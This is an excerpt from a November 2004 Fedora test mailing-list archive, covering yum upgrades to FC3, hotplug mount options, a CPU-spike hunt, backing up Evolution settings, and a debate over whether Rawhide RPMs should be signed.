I don't seem to be able to do up2date sessions with RC5. Thanks Bob -------------- next part -------------- An HTML attachment was scrubbed... URL: From linchiehchen at gmail.com Thu Nov 4 04:46:15 2004 From: linchiehchen at gmail.com (John Lin) Date: Thu, 4 Nov 2004 12:46:15 +0800 Subject: hotplug to insert options like iocharset/codepage for Removable USB HD Message-ID: <66c64e1504110320467a34bed0@mail.gmail.com> I got a 80GB Removable USB HD and on systems without udev and hotplug, I got /etc/fstab line below: /udev/sda /mnt/sda auto iocharset=cp950,codepage=950 0 0 With FC3t3, I am trying to get hotplug system to automatically insert iocharset=cp950,codepage=950 option when device is plugged in. How do I do that? I am not familiar with hotplug system. Where is the best place to insert this option? Thank you in advanced! John From cmkrnl at speakeasy.net Thu Nov 4 04:57:48 2004 From: cmkrnl at speakeasy.net (Andrew) Date: Wed, 03 Nov 2004 23:57:48 -0500 Subject: yum upgrade? In-Reply-To: <1099509626.4065.1.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099509626.4065.1.camel@binkley> Message-ID: <4189B6CC.9080207@speakeasy.net> seth vidal wrote: > On Wed, 2004-11-03 at 13:55 -0500, Elliot Lee wrote: > >>On Wed, 3 Nov 2004, Truls Gulbrandsen wrote: >> >> >>>I am planning to upgrade my laptop (TP23) from fc2 to fc3. Since I >>>don't have /home as seperate partition I was thinking of doing av yum >>>upgrade >> >>Don't do that! >> >> >>>rather than a clean install. >> >>Don't do that! >> >>Upgrade via anaconda. :) >>-- Elliot > > > Why not? All of the upgrades I've done (only 3 so far) from fc2->fc3rc* > have gone just fine with yum. > > Have you encountered problems? > > -sv > > No problems doing upgrades from fc2->fc3rc -- and for two machines as well. (Since I am not the brightest light in socket -- yum must be pretty solid) Even taking that into consideration -- I have to say: 1) yum ROCKS! 2) sv is the arguably the most patient guy. -- Always watching and replying to any yum subject messages -- and that is after dealing the complexity of getting yum to do its thing in the first place, and making some -- no, make that -- a lot of *very* impressive updates to yum along the way. If anyone doubts it is complicated, try to think of *everything* you would need to do to upgrade your car from a 2002 Saab to a 2004, part by part while driving it! Not a great analogy, but the point is valid. Plus, I'll bet that yum is not the only thing he works on. 3) Anyone who has tried to update more than 2 packages that have *dependencies* knows that yum is more than yummy! :) ^ +-- sorry couldn't help it. Andrew From skvidal at phy.duke.edu Thu Nov 4 05:31:10 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 04 Nov 2004 00:31:10 -0500 Subject: yum upgrade? In-Reply-To: <4189B6CC.9080207@speakeasy.net> References: <4189287C.5060305@broadpark.no> <1099509626.4065.1.camel@binkley> <4189B6CC.9080207@speakeasy.net> Message-ID: <1099546270.3554.29.camel@binkley> > 2) sv is the arguably the most patient guy. You have clearly never met me. :) I felt the need to say this before other people said it for me :) Thanks for the kind words about yum, though. -sv From mrguytx at austin.rr.com Thu Nov 4 06:12:39 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Thu, 04 Nov 2004 00:12:39 -0600 Subject: 5 second cpu spike in FC3T3 In-Reply-To: <1099542759.4204.3.camel@guyleidadell> References: <1099184393.3693.50.camel@guyleidadell> <200410302035.33258.linxt@comcast.net> <1099194319.3693.78.camel@guyleidadell> <41846432.4040200@speakeasy.net> <1099195701.3693.80.camel@guyleidadell> <1099254808.4746.2.camel@kyrre> <1099252271.3558.1.camel@guyleidadell> <1099261509.3558.10.camel@guyleidadell> <1099268086.3558.12.camel@guyleidadell> <1099410683.26625.10.camel@cassandra.boston.redhat.com> <1099438599.4142.9.camel@guyleidadell> <1099523012.3920.15.camel@cassandra.boston.redhat.com> <1099542759.4204.3.camel@guyleidadell> Message-ID: <1099548759.8148.2.camel@guyleidadell> ok, you'll never believe this... it *was* gkrellm itself, however this was hard to find out... because, if I unloaded gkrellm I still saw a spike in top. so I went thru one by one of every option in gkrellm. and *who* decided my battery status needed to be updated every 5 seconds *exactly*??? not me. anyway, I have it set much higher now, spike is gone. weird thing though, that killing gkrellm didn't take the spike away. only when I changed the battery status monitor timing did the spike finally die. oh well, another one solved. thanks guys. On Wed, 2004-11-03 at 22:32 -0600, W. Guy Thomas wrote: > On Wed, 2004-11-03 at 18:03 -0500, David Malcolm wrote: > > On Tue, 2004-11-02 at 17:36 -0600, W. Guy Thomas wrote: > > > On Tue, 2004-11-02 at 10:51 -0500, David Malcolm wrote: > > > > On Sun, 2004-10-31 at 18:14 -0600, W. Guy Thomas wrote: > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > > > > > > The two things that pop up every 5 seconds are gkrellm itself, and > > > > > > something vaguely named gtk2_applet2. > > > > > > > > > > > > So what is gtk2_applet2? > > > > > > If it's an applet couldn't it be a java-something? > > > > > > > > > > > > Hmm, curiouser and curiouser. > > > > > > > > > > > > -- > > > > > > =Guy > > > > > > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > > > > > > > > > > > > > > > > let me revise that, sorry, it's gtik2_applet2 > > > > > > > > That's the Stock Ticker panel applet. Is it running? What kind of > > > > settings does it have e.g. width, update frequency, number of stocks, > > > > etc? > > > > > > > > > > > > > > -- > > > > > =Guy > > > > > 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 > > > > > > > > > > > > > > > Interesting. It sure is the stock ticker. It was set to slow speed, > > > there are 6 stocks, update every 11 minutes, nothing else special. > > > I even removed it from the panel and I see the same 5 second tick. > > > It's especially noticeable in screensaver mode. The entire screen stops > > > for a split second, then picks back up. > > > > > > Good call on the stock ticker, unfortunately it appears not to be the > > > culprit. > > > > OK - so it looks like gtik2_applet2 was a false positive. I take it > > that it's no longer is the process list after removing from the panel? > > > > So I wonder, what is the culprit? Running top with a rapid update time > > may get it to show up; there's sure to be a better way, though I can't > > think of one off-hand, alas. > > > > Sounds like someone else is seeing this; Googling turned up this > > http://www.fedoraforum.org/forum/archive/index.php/t-25209.html > > > > Dave > > > > > > -- > > > =Guy > > > 17:34:25 up 21:11, 2 users, load average: 0.43, 1.07, 1.61 > > > > > > > what is ksoftirqd/0 > > this shows up at about # five when I lower top to .5 seconds > sounds like a kde thing, but I run gnome. > weird. > > let me check that link you sent... > > -- > =Guy > 22:31:51 up 3:13, 2 users, load average: 0.27, 0.34, 0.25 > -- =Guy 00:10:05 up 4:51, 2 users, load average: 0.08, 0.21, 0.27 From pri.rhl3 at iadonisi.to Thu Nov 4 06:25:30 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 04 Nov 2004 01:25:30 -0500 Subject: New testing kernel. In-Reply-To: <20041103173323.GD31914@redhat.com> References: <20041103171954.GC31914@redhat.com> <1099502808.16932.0.camel@localhost.localdomain> <20041103173323.GD31914@redhat.com> Message-ID: <1099549529.7587.1.camel@va.local.linuxlobbyist.org> On Wed, 2004-11-03 at 12:33, Dave Jones wrote: > On Wed, Nov 03, 2004 at 10:26:48AM -0700, Kim Lux wrote: > > What is the release number of this kernel ? > > 2.6.9-1.1_FC2 An underscore? Ugh. That's so...*Windows*. *shudder* Thank goodness for shell filename completion in bash. ;-) -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From perbj at stanford.edu Thu Nov 4 05:56:31 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Wed, 03 Nov 2004 21:56:31 -0800 Subject: vsftpd and recent kernels including 667 In-Reply-To: <4189B332.3080809@speakeasy.net> References: <20041104025734.GA4276@rednote.net> <1099541645.4506.24.camel@thomas.camerontech.com> <4189B332.3080809@speakeasy.net> Message-ID: <1099547791.5033.3.camel@scania> On Wed, 2004-11-03 at 20:42, Robert L Cochran wrote: > Where are you getting the kernel from? I don't seem to be able to do > up2date sessions with RC5. The RCs are set up to track the FC3 updates trees, not Rawhide, so unless you change that you won't see any updates until after FC3 is released. You can fix that in the yum repo config files, a suitable file is already installed, there's just a variable that needs toggling. Good luck, Per From lux at diesel-research.com Thu Nov 4 06:59:57 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 23:59:57 -0700 Subject: vsftpd and recent kernels including 667 In-Reply-To: <1099547791.5033.3.camel@scania> References: <20041104025734.GA4276@rednote.net> <1099541645.4506.24.camel@thomas.camerontech.com> <4189B332.3080809@speakeasy.net> <1099547791.5033.3.camel@scania> Message-ID: <1099551597.3540.88.camel@localhost.localdomain> Could you please provide more info on obtaining these updates, possibly posting a sample yum.conf ? On Wed, 2004-11-03 at 21:56 -0800, Per Bjornsson wrote: > On Wed, 2004-11-03 at 20:42, Robert L Cochran wrote: > > Where are you getting the kernel from? I don't seem to be able to do > > up2date sessions with RC5. > > The RCs are set up to track the FC3 updates trees, not Rawhide, so > unless you change that you won't see any updates until after FC3 is > released. You can fix that in the yum repo config files, a suitable file > is already installed, there's just a variable that needs toggling. > > Good luck, > Per > > -- Kim Lux (Mr.) Diesel Research Inc From linchiehchen at gmail.com Thu Nov 4 07:28:43 2004 From: linchiehchen at gmail.com (John Lin) Date: Thu, 4 Nov 2004 15:28:43 +0800 Subject: hotplug to insert options like iocharset/codepage for Removable USB HD In-Reply-To: <66c64e1504110320467a34bed0@mail.gmail.com> References: <66c64e1504110320467a34bed0@mail.gmail.com> Message-ID: <66c64e1504110323281f9c948f@mail.gmail.com> I got a 80GB Removable USB HD and on systems without udev and hotplug, I got /etc/fstab line below: /udev/sda /mnt/sda auto iocharset=cp950,codepage=950 0 0 With FC3t3, I am trying to get hotplug system to automatically insert iocharset=cp950,codepage=950 option when device is plugged in. How do I do that? I am not familiar with hotplug system. Where is the best place to insert this option? Thank you in advanced! John From byte at aeon.com.my Wed Nov 3 23:27:08 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 04 Nov 2004 10:27:08 +1100 Subject: Some issues with Fedora Installation In-Reply-To: <35776.213.164.3.90.1099489900.squirrel@213.164.3.90> References: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> <4188D84D.6070209@earthlink.net> <35776.213.164.3.90.1099489900.squirrel@213.164.3.90> Message-ID: <1099524428.5131.25.camel@hermione.soho.bytebot.net> On Wed, 2004-11-03 at 14:51 +0100, nodata wrote: > >> I am new to this list, and I don't know if this has been covered, but > >> I can't see where to find any archives. > >> > > go to http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > and click on the archives link. > > > > Gerry > > > > He does have a good point though, the website could be easier. > To post to the list, you must create an account. After confirming the > account, the screen you get to has no way to view the list archive. But the list itself, has archives. I.e. even before you decide to join to post to the list, the archives are available for your perusal (its not a list where only members can view the archives) If you still feel strongly about this, write to the Mailman folk - after all, lists on redhat.com are standard issue Mailman stuff -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Wed Nov 3 23:28:57 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 04 Nov 2004 10:28:57 +1100 Subject: new rawhide gtk breaks openoffice In-Reply-To: <1099500615.11234.6.camel@dcbw.boston.redhat.com> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> <1099494380.3364.62.camel@hermione.soho.bytebot.net> <1099497604.1021.5.camel@vixen.agre.smiths.aero> <1099500185.11234.3.camel@dcbw.boston.redhat.com> <1099500615.11234.6.camel@dcbw.boston.redhat.com> Message-ID: <1099524537.5131.27.camel@hermione.soho.bytebot.net> On Wed, 2004-11-03 at 11:50 -0500, Dan Williams wrote: > I can't seem to reproduce with a prerelease -11, opening some random doc > using recent-items first, then opening LP-*.sxw from recent-items > second... Is that basically what you're doing? > > I'm running gtk2-2.4.13-5. Neither can I, and I'm running: gtk2-2.4.13-5.ppc openoffice.org-1.1.2-10.ppc Pretty much rawhide latest... -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Wed Nov 3 23:34:23 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 04 Nov 2004 10:34:23 +1100 Subject: New testing kernel. In-Reply-To: <41891DB5.9020703@flarn.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> <41891C59.6000108@redhat.com> <41891DB5.9020703@flarn.com> Message-ID: <1099524863.5131.30.camel@hermione.soho.bytebot.net> On Wed, 2004-11-03 at 13:04 -0500, Ken Snider wrote: > > ask nvidia > > One would asume the nvidia *users* of the list might have a *workaround*, > which was the question - not if anyone knew what was *wrong* with the driver, > which is a nvidia question. Fedora doesn't ship nvidia drivers. Nvidia provides a forum for their users of binary drivers If you wanted a workaround, look to their forum. If however you were using the "nv" driver that we include and you find issues with it, its best discussed on fedora-test-list -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From fedora at nodata.co.uk Thu Nov 4 09:00:05 2004 From: fedora at nodata.co.uk (nodata) Date: Thu, 4 Nov 2004 10:00:05 +0100 (CET) Subject: Some issues with Fedora Installation In-Reply-To: <1099524428.5131.25.camel@hermione.soho.bytebot.net> References: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> <4188D84D.6070209@earthlink.net> <35776.213.164.3.90.1099489900.squirrel@213.164.3.90> <1099524428.5131.25.camel@hermione.soho.bytebot.net> Message-ID: <63936.213.164.3.90.1099558805.squirrel@213.164.3.90> > On Wed, 2004-11-03 at 14:51 +0100, nodata wrote: >> >> I am new to this list, and I don't know if this has been covered, but >> >> I can't see where to find any archives. >> >> >> > go to http://www.redhat.com/mailman/listinfo/fedora-test-list >> > >> > and click on the archives link. >> > >> > Gerry >> > >> >> He does have a good point though, the website could be easier. >> To post to the list, you must create an account. After confirming the >> account, the screen you get to has no way to view the list archive. > > But the list itself, has archives. I.e. even before you decide to join > to post to the list, the archives are available for your perusal (its > not a list where only members can view the archives) True, but making it easier to see the archives from the page you get after you have logged in isn't a bad thing. > > If you still feel strongly about this, write to the Mailman folk - after > all, lists on redhat.com are standard issue Mailman stuff > -- > Colin Charles, byte at aeon.com.my > http://www.bytebot.net/ > "First they ignore you, then they laugh at you, then they fight you, > then you win." -- Mohandas Gandhi > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From nphilipp at redhat.com Thu Nov 4 10:08:36 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 04 Nov 2004 11:08:36 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099330047.25045.73.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> Message-ID: <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> On Mon, 2004-11-01 at 12:27 -0500, Peter Jones wrote: > On Fri, 2004-10-29 at 12:57 +0200, Nils Philippsen wrote: > > > > The question is still one of gains versus losses. I personally think we > > > gain more by _not_ signing them. If we automatically sign them, we make > > > it more convenient for people who don't want to use --nosig or whatnot > > > on rawhide packages. > > > > If we don't sign packages we make it basically impossible for people to > > check where a specific package comes from. > > Yes, but the current signing method does not do _precisely_ that. It > does many things, and that is one affect. Technically it does only what I said, i.e. the package was signed by someone who basically only signs "this package passed through me", as no additional validation or QA or whatever is involved in the signing step. But see below. > > There is nothing else that a signature on a package says. > > That's simply not true. > > It says that we intended to release it in a form that is fit to be used. > (Although clearly it does not imply any warranty, including the implied > warranties of merchantability and fitness for a particular purpose ;) > > It says we believe that the actual data in the package headers -- the > scriptlets, the triggers, the conflicts, the provides, etc. -- are of a > quality that Fedora believes is sufficient for release. These things > are Red Hat's and Fedora's value add, and a signature says that we > believe we've actually added value. You're talking about FC final or RHEL final keys/signing, not the Rawhide key. > It also conveys that some packager whom we trust has looked over the > payload and does not consider its contents to be *hostile* to our users. That is the most I would grant a signature with the Rawhide key on a package to convey. > Consider RHEL errata. When RH releases an erratum, the signature > doesn't just say "this is some package from Red Hat". It says that you > can use the signature, combined with the checksums and the data in the > erratum. For what can they be used? You should already know the answer > here. What the signature provides is a way to verify Red Hat's intent > and belief that the package in the user's hands does actually fix the > problems described in the erratum, and to some (lesser) extent that it > does not introduce more problems > > So, no, it's not just that it comes from Red Hat. That's really a more > minor point of what it's for. OK, we're getting somewhere. We do have several keys with which to sign packages. We do specifically have a Rawhide key which kind of invalidates what you said in an earlier post: > No, nobody is "proposing that Rawhide packages shouldn't be signed at > all". That's pure spin. They are not currently signed, and I'm > arguing against the proposal that they *should* be. Indeed they are currently signed -- with the exception of a handful of packages. I say that we should close this gap. > > > That's not a win. In fact, it's a big loss. If the packages are > > > automatically signed during the build process, the only thing the > > > signature means is "it showed up in the queue of things to be signed". > > > But if you see a signed package, the impression you get is that it is in > > > some way "trusted". Of course, it isn't trusted. It's just got a > > > signature that says "don't make the user type --nosig". > > > > That's a misinterpretation of the signature on the package. We shouldn't > > sign or not sign packages based on how people could misconceive what > > such a signature means. We should sign packages so people can verify > > that these packages are actually from us and haven't been tampered with > > in the meantime. > > We always have used signing to mean more than just this, and the other > things are equally important, if not more so, to us. We can't mean just > that the transport is ok without giving the rest up. We cannot have it > mean one thing sometimes, and more things some other times, unless the > signatures have actual data about what they represent *built in*. Who > is signing it is not enough, and that's currently all we have. If the > only way to tell the difference in what the signatures mean is the key > of the signer, then most people who *do* care will never know what any > signature means. > > So yes, we both agree that we "should sign packages" (or some data that > can be securely matched with it, like the metadata) "so people can > verify that these packages are actually from us and haven't been > tampered with in the meantime." What we don't agree on is the fact that > this is very much NOT what we currently do with signatures. Your argumentation implies that all package signing keys convey the same message, i.e. "this package was built there and there and fulfils certain quality criteria" which is certainly not true for the Rawhide key. Rawhide packages explicitly do not fulfil any criteria, in fact Rawhide packages have been announced as: [...] Raw Hide Can Be a Bit Tough to Chew on So Run at Your Own Risk (and Enjoyment) These releases have not been quality tested by Red Hat's Quality Assurance team. They may not boot. If they boot, they may not install. If they install, they may not do anything other then waste CPU cycles. If anything breaks, you most assuredly own the many fragments which will be littered across your floor. [...] The Rawhide key did not ever tell me more than that this package has been built in the Red Hat build system. This surely is different from what any other RPM signing keys may or may not mean, but it is enough for the purposes for those people who want to test the new stuff but still want to be at least a bit safe that the software they try won't intentionally screw them. Beta/Testing keys might imply a bit more of quality while final keys give me the most in that department. Not every key is the same here ;-). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From nphilipp at redhat.com Thu Nov 4 10:33:00 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 04 Nov 2004 11:33:00 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099353011.25045.143.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> Message-ID: <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> On Mon, 2004-11-01 at 18:50 -0500, Peter Jones wrote: > On Mon, 2004-11-01 at 17:34 -0600, Satish Balay wrote: > > Ok - you & Seth seem to have a solution to the problem. > > > > Still no good explanation why ALL keys should be treated the same. > > Because there's nothing about a key that tells you how to treat it. Exactly. There's where "common sense" comes into play, i.e. I shouldn't enable Rawhide repositories if a broken system makes me cry. > > To me 'rehdat-key' is different from 'linva-key' etc. And I think > > rawhide can do the same. > > > > The analogy I keep thinking is 'my signature' is differnet than > > 'RedHat's CEO's signature' treating both to mean the same is nuts.. > > But the signature isn't different in kind. You just "know" which > documents one is good on and which one isn't. But we don't have that > kind of knowledge for all keys. We don't know which repositories each > key is good for what on, and making the infrastructure to tell that > about keys is a lot of work. Making the infrastructure for a key to > sign something which tells us is significantly easier, I think. Just to overstretch analogies a bit, the "signature" of Fisher-Price on a kid's toy isn't different from the "signature" of Heckler&Koch on a submachine gun either. Despite that they convey very different messages ("when you push the button, the doll cries" vs. "... a whole family cries"). Let's face it, currently a signed package only means "someone/-thing has signed off on it" on a technical level, anything else is just what we humans put into it and nothing tools can guess by themselves. I.e. we can only differentiate between "keys we trust" on a certain system by either putting them into yum.conf/sources or not. Everything beyond that would need infrastructure that currently doesn't exist. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From P.R.Schaffner at IEEE.org Thu Nov 4 10:33:58 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Thu, 04 Nov 2004 05:33:58 -0500 Subject: Backing up Evolution In-Reply-To: <1099541448.4506.21.camel@thomas.camerontech.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524463.3920.22.camel@cassandra.boston.redhat.com> <1099541448.4506.21.camel@thomas.camerontech.com> Message-ID: <1099564438.3999.14.camel@tabb1.tabb> On Wed, 2004-11-03 at 22:10 -0600, Thomas Cameron wrote: > On Wed, 2004-11-03 at 18:27 -0500, David Malcolm wrote: > > > > > You should also save the relevant GConf settings, below /apps/evolution That's ~/.gconf/apps/evolution Must be done for each user. > > > > gconftool-2 --dump /apps/evolution > some_file.xml > > > > (this is where your account data and preferences are stored) > > I was not aware of this - very cool info, thanks. Yup. Have just been using tar archive/restore of ~/.gconf ~/.gnome2_private/Evolution and ~/.evolution Phil From P.R.Schaffner at IEEE.org Thu Nov 4 10:46:52 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Thu, 04 Nov 2004 05:46:52 -0500 Subject: yum upgrade? In-Reply-To: <418953FC.2050104@broadpark.no> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <418953FC.2050104@broadpark.no> Message-ID: <1099565212.3999.23.camel@tabb1.tabb> On Wed, 2004-11-03 at 22:56 +0100, Truls Gulbrandsen wrote: > And, please, where do I find the fc3t3 repository. I will test this > on a PC I have in spare. At this point, you probably want the FC3 release candidate (rc5 IIRC, or just wait a bit for final - http://fedora.redhat.com/participate/schedule/) : $ cat /etc/yum.repos.d/fedora.repo [base] name=Fedora Core $releasever - $basearch - Base #baseurl=http://download.fedora.redhat.com/pub/fedora/linux/core/$releasever/$basearch/os/ baseurl=http://fedora.linux.duke.edu/FC3-rc/3/$basearch/os #mirrorlist=http://fedora.redhat.com/download/mirrors/fedora-core-$releasever enabled=1 gpgcheck=1 Note that the "3" in the baseurl line can change to $releasever after you have upgraded. Phil From veguilla at hpcf.upr.edu Thu Nov 4 11:00:18 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Thu, 04 Nov 2004 07:00:18 -0400 Subject: Backing up Evolution In-Reply-To: <1099564438.3999.14.camel@tabb1.tabb> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524463.3920.22.camel@cassandra.boston.redhat.com> <1099541448.4506.21.camel@thomas.camerontech.com> <1099564438.3999.14.camel@tabb1.tabb> Message-ID: <1099566018.627.15.camel@ricardo.veguilla.net> On Thu, 2004-11-04 at 05:33 -0500, Phil Schaffner wrote: > On Wed, 2004-11-03 at 22:10 -0600, Thomas Cameron wrote: > > On Wed, 2004-11-03 at 18:27 -0500, David Malcolm wrote: > > > > > > > > You should also save the relevant GConf settings, below /apps/evolution > > That's ~/.gconf/apps/evolution What David wrote is correct, "/apps/evolution" is the GConf path to the evolution settings. "~/.gconf/apps/evolution" is file system path to where the settings are actually stored, but that doesn't matter because you shouldn't be accessing those files directly. > > > > > > gconftool-2 --dump /apps/evolution > some_file.xml > > > > > > (this is where your account data and preferences are stored) > > > > I was not aware of this - very cool info, thanks. > > Yup. Have just been using tar archive/restore of ~/.gconf > ~/.gnome2_private/Evolution and ~/.evolution No need to tar anything if you use gconftool-2 to dump and/or load your settings. Besides, if the next version of Gconf switches to a database backend, you won't be able to restore your settings by restoring the ~/.gconf directory. Regards, -- Ricardo Veguilla From reader at newsguy.com Thu Nov 4 11:56:41 2004 From: reader at newsguy.com (Harry Putnam) Date: Thu, 04 Nov 2004 05:56:41 -0600 Subject: Mounting ntfs... possible rw Message-ID: Group, Can anyone here report the state of things with the experimental kernel code for mounting ntfs and making it read/write? Any problems just mounting/viewing? Any tragedies or other reports of write? From alan at redhat.com Thu Nov 4 12:30:20 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 07:30:20 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> References: <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> Message-ID: <20041104123020.GI7830@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 11:33:00AM +0100, Nils Philippsen wrote: > Just to overstretch analogies a bit, the "signature" of Fisher-Price on > a kid's toy isn't different from the "signature" of Heckler&Koch on a > submachine gun either. Despite that they convey very different messages > ("when you push the button, the doll cries" vs. "... a whole family > cries"). > > Let's face it, currently a signed package only means "someone/-thing has > signed off on it" on a technical level, anything else is just what we At the technical level but not at the actual human level. At that point brand comes into it. From jspaleta at gmail.com Thu Nov 4 13:05:15 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 4 Nov 2004 08:05:15 -0500 Subject: yum upgrade? In-Reply-To: <1099510153.4065.9.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> Message-ID: <604aa79104110405053e6e3ad@mail.gmail.com> On Wed, 03 Nov 2004 14:29:13 -0500, seth vidal wrote: > let me know what problems you encounter. have you or anyone you know attempted an fc1->fc3rc upgrade? -jef From psavoie1783 at rogers.com Thu Nov 4 13:07:51 2004 From: psavoie1783 at rogers.com (Phil Savoie) Date: Thu, 4 Nov 2004 08:07:51 -0500 Subject: gam_server Message-ID: <200411040807.51853.psavoie1783@rogers.com> Hi All, What *is* this gam_server? top shows that it uses 92-97% of my cpu. Is this needed? Thanks, Phil From ndbecker2 at verizon.net Thu Nov 4 13:17:31 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 04 Nov 2004 08:17:31 -0500 Subject: gcl? Message-ID: Anyone know of a version of gcl that will build on FC3? I tried gcl-2.6.5-0.fdr.1.src.rpm, but it fails: gcc -c -O2 -g -pipe -m32 -march=i386 -mtune=pentium4 -Wall -DVOL=volatile -fsigned-char -pipe -O2 -g -pipe -m32 -march=i386 -mtune=pentium4 -fomit-frame-pointer -I/home/nbecker/RPM/BUILD/gcl-2.6.5/o -I../h -I../gcl-tk sfasl.c In file included from sfasl.c:40: sfaslbfd.c: In function `fasload': sfaslbfd.c:266: error: structure has no member named `_raw_size' From skvidal at phy.duke.edu Thu Nov 4 13:15:43 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 04 Nov 2004 08:15:43 -0500 Subject: yum upgrade? In-Reply-To: <604aa79104110405053e6e3ad@mail.gmail.com> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> Message-ID: <1099574143.3536.1.camel@binkley> On Thu, 2004-11-04 at 08:05 -0500, Jeff Spaleta wrote: > On Wed, 03 Nov 2004 14:29:13 -0500, seth vidal wrote: > > let me know what problems you encounter. > > have you or anyone you know attempted an fc1->fc3rc upgrade? > No. I've not. I don't think I would recommend it, either. Things you'd need to upgrade first, at least: yum, python kernel, glibc, udev then reboot then upgrade the rest. but I've not done that test so I don't know how well it would work, if at all. -sv From alan at redhat.com Thu Nov 4 13:19:58 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 08:19:58 -0500 Subject: gam_server In-Reply-To: <200411040807.51853.psavoie1783@rogers.com> References: <200411040807.51853.psavoie1783@rogers.com> Message-ID: <20041104131958.GA17037@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 08:07:51AM -0500, Phil Savoie wrote: > What *is* this gam_server? top shows that it uses 92-97% of my cpu. Is this > needed? It shouldn't be eating CPU, can you get an strace of it doing that and file a bug From bikehead at amberpoint.com Thu Nov 4 13:37:33 2004 From: bikehead at amberpoint.com (Bikehead) Date: Thu, 04 Nov 2004 05:37:33 -0800 Subject: Network manager restart.. Message-ID: <418A309D.1080402@amberpoint.com> I can make my network manager die fairly consitently, by disconnecting and reconnecting my wired ethernet in order to force the network manager to switch to my 